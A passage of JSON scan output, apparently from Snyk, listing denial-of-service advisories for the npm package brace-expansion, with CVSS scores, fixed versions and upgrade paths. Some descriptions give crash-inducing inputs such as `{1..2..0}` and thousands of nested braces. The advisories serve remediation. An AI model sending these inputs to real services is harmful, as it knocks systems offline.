"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
